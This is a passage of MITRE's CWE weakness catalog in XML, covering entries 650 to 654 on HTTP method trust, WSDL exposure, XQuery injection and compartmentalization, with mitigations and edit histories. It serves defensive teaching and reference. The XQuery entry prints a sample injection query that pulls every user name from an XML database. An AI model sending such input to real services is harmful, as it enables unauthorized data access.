					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="650" Name="Trusting HTTP Permission Methods on the Server Side" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.</Description>
         <Extended_Description>The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could escalate privileges.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could modify resources.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>An attacker could obtain sensitive information.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="651" Name="Exposure of WSDL File Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).</Description>
         <Extended_Description>
            <xhtml:p>An information exposure may occur if any of the following apply:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The WSDL file is accessible to a wider audience than intended.</xhtml:li>
                  <xhtml:li>The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.</xhtml:li>
                  <xhtml:li>Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="538" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The attacker may find sensitive information located in the WSDL file.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Information Leak through WSDL File</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through WSDL File</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="652" Name="Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.</Description>
         <Extended_Description>The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="943" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="91" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>An attacker might be able to read sensitive information from the XML database.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use parameterized queries. This will help ensure separation between data plane and control plane.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>46</Entry_ID>
               <Entry_Name>XQuery Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Unsafe Treatment of XQuery Input</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Data within XQuery Expressions ('XQuery Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="653" Name="Improper Isolation or Compartmentalization" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.</Description>
         <Extended_Description>When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Separation of Privilege</Term>
               <Description>Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Compare binary / bytecode to application permission manifest</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Break up privileges between different modules, objects, or entities. Minimize the interfaces between modules and require strong access control between them.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	  <Observed_Examples>
	    <Observed_Example>
	      <Reference>CVE-2019-6260</Reference>
	      <Description>Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2019-6260</Link>
	    </Observed_Example>
	  </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-535"/>
            <Reference External_Reference_ID="REF-1138"/>
         </References>
         <Notes>
            <Note Type="Relationship">There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each "privilege"; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.</Note>
            <Note Type="Terminology">The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description, Name, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Insufficient Compartmentalization</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-10-28">Insufficient Compartmentalization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="654" Name="Reliance on a Single Factor in a Security Decision" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.</Description>
         <Related_Weaknesses>
